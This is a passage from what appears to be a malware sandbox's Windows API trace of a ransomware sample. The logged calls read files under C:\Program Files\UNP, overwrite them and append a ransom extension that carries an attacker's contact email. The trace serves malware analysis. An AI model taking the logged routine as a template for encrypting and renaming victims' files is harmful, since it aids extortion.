dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5200 [0220.669] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0220.669] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0220.669] GetProcessHeap () returned 0x630000 [0220.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0220.669] GetProcessHeap () returned 0x630000 [0220.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0220.669] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.669] ReadFile (in: hFile=0x5ec, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x5c3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0220.672] GetProcessHeap () returned 0x630000 [0220.672] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0220.672] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.672] WriteFile (in: hFile=0x5ec, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x5c3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0220.672] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.672] WriteFile (in: hFile=0x5ec, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.672] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.672] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.672] CloseHandle (hObject=0x5ec) returned 1 [0220.672] GetProcessHeap () returned 0x630000 [0220.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0220.672] GetProcessHeap () returned 0x630000 [0220.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0220.672] GetProcessHeap () returned 0x630000 [0220.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0220.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x497ae074, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0xaec7496, dwReserved1=0x6860c0, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0220.673] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0220.673] Sleep (dwMilliseconds=0x1) [0222.172] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgrade.xml", len=0x7f | out: pbstr=0x5c3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgrade.xml") returned 1 [0222.172] GetProcessHeap () returned 0x630000 [0222.172] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5194) returned 0x6fe3bb0 [0222.172] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0225.779] CloseHandle (hObject=0x674) returned 1 [0225.779] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.779] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.793] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x6d0078, dwReserved1=0x2e006c, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f40 [0225.838] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0225.838] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0225.839] GetProcessHeap () returned 0x630000 [0225.839] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7f70 [0225.839] GetProcessHeap () returned 0x630000 [0225.839] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d81f8 [0225.839] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.839] ReadFile (in: hFile=0x4e8, lpBuffer=0x6d7f70, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7f70*, lpNumberOfBytesRead=0x5c3ff0c*=0x240, lpOverlapped=0x0) returned 1 [0225.872] GetProcessHeap () returned 0x630000 [0225.872] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0225.872] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.872] WriteFile (in: hFile=0x4e8, lpBuffer=0x6d81f8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d81f8*, lpNumberOfBytesWritten=0x5c3ff0c*=0x240, lpOverlapped=0x0) returned 1 [0225.872] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.872] WriteFile (in: hFile=0x4e8, lpBuffer=0x6d8437*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8437*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.872] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.872] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.872] CloseHandle (hObject=0x4e8) returned 1 [0225.873] GetProcessHeap () returned 0x630000 [0225.873] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d81f8 | out: hHeap=0x630000) returned 1 [0225.873] GetProcessHeap () returned 0x630000 [0225.873] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7f70 | out: hHeap=0x630000) returned 1 [0225.873] GetProcessHeap () returned 0x630000 [0225.873] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0225.956] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c94cd3e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x26c, dwReserved0=0x5c3fd20, dwReserved1=0x6d7f70, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5280 [0225.956] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0225.956] Sleep (dwMilliseconds=0x1) [0225.994] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x5c3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgradeth2.xml") returned 1 [0225.994] GetProcessHeap () returned 0x630000 [0225.994] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5174) returned 0x6fe3bb0 [0225.995] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0225.995] CloseHandle (hObject=0x6f4) returned 1 [0225.995] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.995] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.104] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.105] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5540 [0226.105] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0226.105] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0226.105] GetProcessHeap () returned 0x630000 [0226.105] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0226.105] GetProcessHeap () returned 0x630000 [0226.105] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0226.105] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.105] ReadFile (in: hFile=0x6f4, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x5c3ff0c*=0x220, lpOverlapped=0x0) returned 1 [0226.110] GetProcessHeap () returned 0x630000 [0226.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177830 [0226.110] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.110] WriteFile (in: hFile=0x6f4, lpBuffer=0x699448*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesWritten=0x5c3ff0c*=0x220, lpOverlapped=0x0) returned 1 [0226.110] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.110] WriteFile (in: hFile=0x6f4, lpBuffer=0x699667*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699667*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.110] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.110] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.111] CloseHandle (hObject=0x6f4) returned 1 [0226.111] GetProcessHeap () returned 0x630000 [0226.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0226.111] GetProcessHeap () returned 0x630000 [0226.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0226.111] GetProcessHeap () returned 0x630000 [0226.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177830 | out: hHeap=0x630000) returned 1 [0226.111] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4cb896ad, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0xaec7496, dwReserved1=0x717e140, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4e00 [0226.111] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0226.111] Sleep (dwMilliseconds=0x1) [0226.126] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl", len=0x3f | out: pbstr=0x5c3ff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl") returned 1 [0226.126] GetProcessHeap () returned 0x630000 [0226.126] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51b0) returned 0x6fe3bb0 [0226.126] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.010.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0226.173] CloseHandle (hObject=0x4e8) returned 1 [0226.173] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.174] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.010.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.010.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.174] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.175] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xcd3f87c1, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xce292e60, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.010.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNIVER~4.FIR")) returned 0x6d53c0 [0226.175] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0226.175] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.010.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0226.175] GetProcessHeap () returned 0x630000 [0226.175] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x712f718 [0226.175] GetProcessHeap () returned 0x630000 [0226.175] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73c8410 [0226.176] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.176] ReadFile (in: hFile=0x4e8, lpBuffer=0x712f718, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712f718*, lpNumberOfBytesRead=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.001] GetProcessHeap () returned 0x630000 [0233.001] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177830 [0233.001] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.001] WriteFile (in: hFile=0x4e8, lpBuffer=0x73c8410*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c8410*, lpNumberOfBytesWritten=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.593] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.593] WriteFile (in: hFile=0x4e8, lpBuffer=0x73d380f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d380f*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.212] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.212] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.213] CloseHandle (hObject=0x4e8) returned 1 [0234.998] GetProcessHeap () returned 0x630000 [0234.998] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c8410 | out: hHeap=0x630000) returned 1 [0234.998] GetProcessHeap () returned 0x630000 [0234.999] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712f718 | out: hHeap=0x630000) returned 1 [0234.999] GetProcessHeap () returned 0x630000 [0234.999] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177830 | out: hHeap=0x630000) returned 1 [0235.916] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xcd3f87c1, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x518c1807, ftLastWriteTime.dwHighDateTime=0x1d5e217, 